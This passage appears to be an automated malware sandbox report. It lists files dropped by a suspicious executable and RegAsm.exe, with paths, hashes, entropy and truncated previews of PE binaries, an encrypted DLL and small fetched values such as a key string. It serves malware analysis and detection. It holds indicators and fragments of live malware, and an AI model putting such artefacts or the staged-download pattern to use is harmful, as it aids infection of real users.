SHA-256:	3EC66B6BB4D6D9776A5CD4EBABDFC982C09275A0E2B2C544FC44E59761D0AE47
SHA-512:	D3313A8858723B78A0DA27B57452A11340C2D4DFC14C8FAB0FA0A673BCD5C244D17B2E8E7469825727E01835F805D778A47408EBF2BB7AFF9B4F487D14C00299
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE1F4.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	87570
Entropy (8bit):	3.0502255073296434
Encrypted:	false
SSDEEP:	1536:5QAAxHKQpkcNs6FwWS6oHdf1m+K+jD+Yjv9+gv1+qH4pc+dvj+5l+7VCvQx:5QAAxHKQpkcNs6FwWS6oHdf1m+K+jD+X
MD5:	1CF11627F7FF171154FAF3C0F355A2C7
SHA1:	A260215A58D73ED8ED4A9745EE9A18368B353A31
SHA-256:	BE3FC7AAF1ADCEA1D2E816E64B77035627D98E3D3A0D8527EADEC65C638228B4
SHA-512:	8E2D1035E2507E4982837DA96CB492729651D7E40740EF127EDB8A63AEE4503D6A5883B4446D016B3E12B599D27B31706A7B569B683B3CB929D35F743ECB1602
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE2DF.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.689107058384716
Encrypted:	false
SSDEEP:	96:TiZYWnon1+bzSYUYjWtDH8YEZL9tai/0C1Sl5wvkJVa+lcDM6hnIQr3:2ZDnnOTvCVgVa+lcDM6hIQr3
MD5:	836B1D4012D60F82DB39ECBDA1999323
SHA1:	93EB68D966E3AA66D1D2F4536D6CFD03C5DB80A4
SHA-256:	AD49CC5A2669D36AC2FC8864F274F8859CC7C020551E736AAB6E89D6D866EDF5
SHA-512:	87E76F1FAA61AAC6D0C5B5C6CB0F29BBF3DC83E9F5B285C1C7E944E9E2E4E3490718D4C6592E30F11BA606B3292FE4D7DBB37661E0F01C2C4191E7CB735AE1AD
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE94.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	89874
Entropy (8bit):	3.0443428235277907
Encrypted:	false
SSDEEP:	1536:bRA4IqcZSx2LwjLxnWuVQaFHcM1m+K+jD+Yjv9+gv1+qH4pc+dvj+5l+4haD/r:bRA4IqcZSx2LwjLxnWuVQaFHcM1m+K+Y
MD5:	B24AA90AF37BE2FB8E99985A4004D336
SHA1:	8B7E6E4F89809BDF6659FE67FC2E56DFAE284CA1
SHA-256:	4DA39C14F8427F9B94BE3037D335D2B66C2BA7F8A4241A5C6D4ECF3A769EC299
SHA-512:	A0E14224A9FA1A9DBC8FA659A30E8332538982E9A4B0079B341A3D15C10FA7E1DB8153D5FB2292860EB552A870659418B2F635FF395FD9EDC7E4CA5EB6AD92F3
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFDD.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	90672
Entropy (8bit):	3.04328785542958
Encrypted:	false
SSDEEP:	1536:+cAQICcZStaLwjLxnWDV/aFHcM1m+K+jD+Yjv9+gv1+qH4pc+dvj+5l+z7a8gE3:+cAQICcZStaLwjLxnWDV/aFHcM1m+K+k
MD5:	0F0106C55E7EEF1DA87A9B004052196C
SHA1:	B3C75B46CBE6BE8D5B7B942C5D800D43094FC9AB
SHA-256:	3DEBFBA58E0383E1A2CB94E9E7B779457C70F8A99DC6DDEBD8A5B1F29719050B
SHA-512:	9D78D67C41FC6533AAF7696D1CB6340B5AF19092EC70A5AC538C0B5E199CD313795D098FC4CF36C4DD530E84087D0C91C96DF27F0E22DAEE89FCDC366459C9AF
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\ed928it47.dat

Download File

Process:	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe
File Type:	Non-ISO extended-ASCII text, with no line terminators
Category:	dropped
Size (bytes):	8
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:v/l:v/l
MD5:	A441D9C3676877018FCF11D40166F9EF
SHA1:	F5EA697EF96A5051FE045EB8F8EF03FB9D5D490E
SHA-256:	9D6A1FD91CE77C80A036DDEB6D6BBF1CC4C1142985417218BE80949DBA64C93A
SHA-512:	EBFAF74EF46DDF42F613C55CB1C6A57D36C778A822C04B93FEB0F13A0E896CC408C363E4439AF74D85981C1A8A5BF8C0EE7E398606BECF3694159E1B9BDB98EE
Malicious:	false
Preview:	+..f....

C:\ProgramData\ed928rc47.dat

Download File

Process:	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:T:T
MD5:	68768BD19780539FD10C4F411DD4266A
SHA1:	E99F5834F52EE554DEE51AA9DA07627AEE47513B
SHA-256:	621293836CAFBA765C105B23559D2564FBCA2932BC13EBFEBE9A63B7F393C3CD
SHA-512:	FF59EF5FCBBFC499C5D636601AA32F4CD9D24756D44A8BFAE2D37E8014C33FB1A5B3DD660026E8424A9A45D28BAA69D8EAAD1458870FA725E0D9F21BF78454CA
Malicious:	false
Preview:	<...

C:\ProgramData\ed928resa.dat

Download File

Process:	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	128
Entropy (8bit):	2.9545817380615236
Encrypted:	false
SSDEEP:	3:SmwW3Fde9UUDrjStGs/:Smze7DPStGM
MD5:	98DDA7FC0B3E548B68DE836D333D1539
SHA1:	D0CB784FA2BBD3BDE2BA4400211C3B613638F1C6
SHA-256:	870555CDCBA1F066D893554731AE99A21AE776D41BCB680CBD6510CB9F420E3D
SHA-512:	E79BD8C2E0426DBEBA8AC2350DA66DC0413F79860611A05210905506FEF8B80A60BB7E76546B0CE9C6E6BC9DDD4BC66FF4C438548F26187EAAF6278F769B3AC1
Malicious:	false
Preview:	30ea4c433b26b5bea4193c311bc4a25098960f3df7dbf2a6175bf7d152ea71ca................................................................

C:\ProgramData\ed928resb.dat

Download File

Process:	C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	128
Entropy (8bit):	1.7095628900165245
Encrypted:	false
SSDEEP:	3:LDXdQSWBdMUE/:LLdQSGd
MD5:	4FFFD4D2A32CBF8FB78D521B4CC06680
SHA1:	3FA6EFA82F738740179A9388D8046619C7EBDF54
SHA-256:	EC52F73A17E6AFCF78F3FD8DFC7177024FEB52F5AC2B602886788E4348D5FB68
SHA-512:	130A074E6AD38EEE2FB088BED2FCB939BF316B0FCBB4F5455AB49C2685BEEDCB5011107A22A153E56BF5E54A45CA4801C56936E71899C99BA9A4F694A1D4CC6D
Malicious:	false
Preview:	dad6f9fa0c8327344d1aa24f183c3767................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\dll[1]

Download File

Process:	C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	242176
Entropy (8bit):	6.47050397947197
Encrypted:	false
SSDEEP:	6144:SIQpxILDXGGMO7Ice9C5kQw2hWHcHTykhb:SIQpxILDXGGlET9n/cHG
MD5:	2ECB51AB00C5F340380ECF849291DBCF
SHA1:	1A4DFFBCE2A4CE65495ED79EAB42A4DA3B660931
SHA-256:	F1B3E0F2750A9103E46A6A4A34F1CF9D17779725F98042CC2475EC66484801CF
SHA-512:	E241A48EAFCAF99187035F0870D24D74AE97FE84AAADD2591CCEEA9F64B8223D77CFB17A038A58EADD3B822C5201A6F7494F26EEA6F77D95F77F6C668D088E6B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: univ.exe, Detection: malicious, Browse Filename: univ.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: CSBls4grBI.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.CrypterX-gen.27154.11356.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.W32.Kryptik.LKE.gen.Eldorado.589.31532.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: LKmdGDfKeP.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Jl.X...........!..................... ........... ....................... ............@.....................................W.................................................................................... ............... ..H............text...4.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........`..4e...........U..............................................}.Y.y.=.{.X.x.=..r...p.o2....o...(3.....o2...}....:..s.....(...........2r...p(;...&Vr...p.....r...p.......(....>.........}.......(C.....o...(D...(E...}.....(F...(E...(G...&>.........}.......(C.....o...(D...}.....(F...(E...(H...&".......>.........}....R..} .....{ ...oo.....{ ..."..}!.....{!......}.....{#....{....op....{....,...{ ...oo.....{!...oo.....{....B.....su...(v.....{#....{#...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\download[1].htm

Download File

Process:	C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\key[1].htm

Download File

Process:	C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	21
Entropy (8bit):	3.880179922675737
Encrypted:	false
SSDEEP:	3:gFsR0GOWW:gyRhI
MD5:	408E94319D97609B8E768415873D5A14
SHA1:	E1F56DE347505607893A0A1442B6F3659BEF79C4
SHA-256:	E29A4FD2CB1F367A743EA7CFD356DBD19AEB271523BBAE49D4F53257C3B0A78D
SHA-512:	994FA19673C6ADC2CC5EF31C6A5C323406BB351551219EE0EEDA4663EC32DAF2A1D14702472B5CF7B476809B088C85C5BE684916B73046DA0DF72236BC6F5608
Malicious:	false
Preview:	9tKiK3bsYm4fMuK47Pk3s

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\setup[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7620947
Entropy (8bit):	7.996947821567556
Encrypted:	true
SSDEEP:	196608:91O3zC1YZQx6lIid8Z1ZM3OTCY8x28UVNK6McuMDC8evv+mjuNnArH:3ODC1gQxiIim3cpx23V86McuqevvQNAD
MD5:	5B9E9580BB4E446ABE9EDBC7556E0D32
SHA1:	6E3DEB74A53B217252645A08C30720C79EF41249
SHA-256:	DF694BD80A1C5DC6AC86EF949A4FAB087857B1A9808E7B78BE8546ED0F318835
SHA-512:	EEBE5A138CB0AB039682923049A62850E43AE95BE550CD7B9892AF9D938E6B3D6D5831D9FFAE1532AC5F03F81BD67C707EA983ACF7AFAD04DC226FE597388184
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\fuckingdllENCR[1].dll

Download File

Process:	C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe
File Type:	data
Category:	dropped
Size (bytes):	97296
Entropy (8bit):	7.9982317718947025
Encrypted:	true
SSDEEP:	1536:A1FazaNKjs9ezO6kGnCRFVjltPjM9Ew1MhiIeJfZCQdOlnq32YTCUZiyAS3tUX9F:k4zaMjVUGCRzbgqw1MoIeJyQ4nyqX9F
MD5:	E6743949BBF24B39B25399CD7C5D3A2E
SHA1:	DBE84C91A9B0ACCD2C1C16D49B48FAEAEC830239
SHA-256:	A3B82FC46635A467CC8375D40DDBDDD71CAE3B7659D2BB5C3C4370930AE9468C
SHA-512:	3D50396CDF33F5C6522D4C485D96425C0DDB341DB9BD66C43EAE6D8617B26A4D9B4B9A5AEE0457A4F1EC6FAC3CB8208C562A479DCAE024A50143CBFA4E1F15F6
Malicious:	false
Preview:	XM .4Ih..]...t.&.s...v.0{.v.vs'...:.l.h...e.....R....1...r.R+Fk....~.s.....Q.....r.T.b.....~c..[........;...j.@.0.%.....x...v.w.....<ru....Yre;.b6...HQ-...8.B..Q.a...R.:.h&r.......=.;r.k..T.@....l..;#..3!.O..x.}........y'<.GfQ.K.#.L5v..].......d....N{e..@................A\..<.t.u.X.O.n..Z.. .Xb.O<.Z...h~.(.W.f.z.V.4..L...%5.0...H..`s...y.B......(IL5s:aS}X.......M9.J.o....).'..M;n6]...W..n....)...L...._..e.....>....[....RA.........'...6.N..g6....IY.%h.. 3r....^..\.b~y./....h.2......ZLk....u}..V..<.fbD.<!.._2.zo..IE...P..O...u......P.......w#.6N..&l.R}GI...LY...N.yz..j..Hy.'..._.5..Pd9.y..+....6.q...).G.c...L#....5\.M....5U])....U(..~H.m....Y....G1.r.4.B..h........P..]i...M%.............)q......]....~\|..j...b..K!..N.7R.}T.2bsq..1...L^..!.\|q.D'...s.Ln...D@..bn%0=b.Q1.....+l...QXO\|.......NC.d......{.0....8F.....<.W.y..{o..j.3.....n..4.....eS]. K...o.B.H~.sh.1....m8....6{.ls..R..q..~....w._;....X*.#..U....6n.ODbT.+Zc....q....S.$-S`YT....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\name[1].htm

Download File

Process:	C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	7
Entropy (8bit):	2.2359263506290326
Encrypted:	false
SSDEEP:	3:xIAn:z
MD5:	8FA007FA30513F97141DA3E39B658159
SHA1:	AA260A3AF3BB77E2A07056AFE79F3E2B88DB7257
SHA-256:	3279465B2D2603BE30735D69F5439CF95136E4725A85DC0B2EA09DB0E57B092F
SHA-512:	B2AF43AF1D4AC0DF6AE71895C9BFFC5E5FDC114F385C38F76CCF79EA8796A0CDFC6B5DAA92EE1CA347A7282A7B0FC6E89863E9CF30891FBF151B88FB1E668E1F
Malicious:	false
Preview:	mixnine

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\soft[1]

Download File

Process:	C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1502720
Entropy (8bit):	7.646111739368707
Encrypted:	false
SSDEEP:	24576:7i4dHPD/8u4dJG/8yndSzGmTG2/mR2SGeYdc0GmTG2/mR6Trr2h60qP:7rPD/8I/8ly+Zrr2h60qP
MD5:	A8CF5621811F7FAC55CFE8CB3FA6B9F6
SHA1:	121356839E8138A03141F5F5856936A85BD2A474
SHA-256:	614A0362AB87CEE48D0935B5BB957D539BE1D94C6FDEB3FE42FAC4FBE182C10C
SHA-512:	4479D951435F222CA7306774002F030972C9F1715D6AAF512FCA9420DD79CB6D08240F80129F213851773290254BE34F0FF63C7B1F4D554A7DB5F84B69E84BDD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..._............"...0..0...........O... ...`....@.. .......................@............`.................................LO..O....`...................... ......0O............................................... ............... ..H............text..../... ...0.................. ..`.rsrc.......`.......2..............@..@.reloc....... ......................@..B.................O......H.......h~...D......U... .................................................(......(.....~....-.r...p.....(....o....s.........~.....~...........j(....r=..p~....o....t....j(....rM..p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t.....~......(....Vs....(....t.........N.(.....(.....(........0..f.......(.........8M........o....9:....o.......o.......-a.{......<...%..o.....%.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\add[1].htm

Download File

Process:	C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\download[1].htm

Download File

Process:	C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\Channel2[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	9969664
Entropy (8bit):	2.7737530246461977
Encrypted:	false
SSDEEP:	49152:BdDlHdR359lFG9h1347FDDMDquN8qA9NiqaSDT8nfcM8YF1ai:HDlHdZ59li4JMm
MD5:	18E1D0F8B01CEAE85D5D7136C4CF751A
SHA1:	6D79A8CB0795D48DDF9BCF3FF97AF16A4508F770
SHA-256:	D73BEA0EAEC1C09FE508F58746A99586C3369BE41D08845BA12764A4B2F2A147
SHA-512:	22F0CBBF9BCB2F5A1486CF0311EA298950A757AF5EB2FBCA0CF41CD8513B471EEDC81A83DB72D99D06CD7AA64D44AD836616F2115E622521A76CF0E90BFFA0D4
Malicious:	true
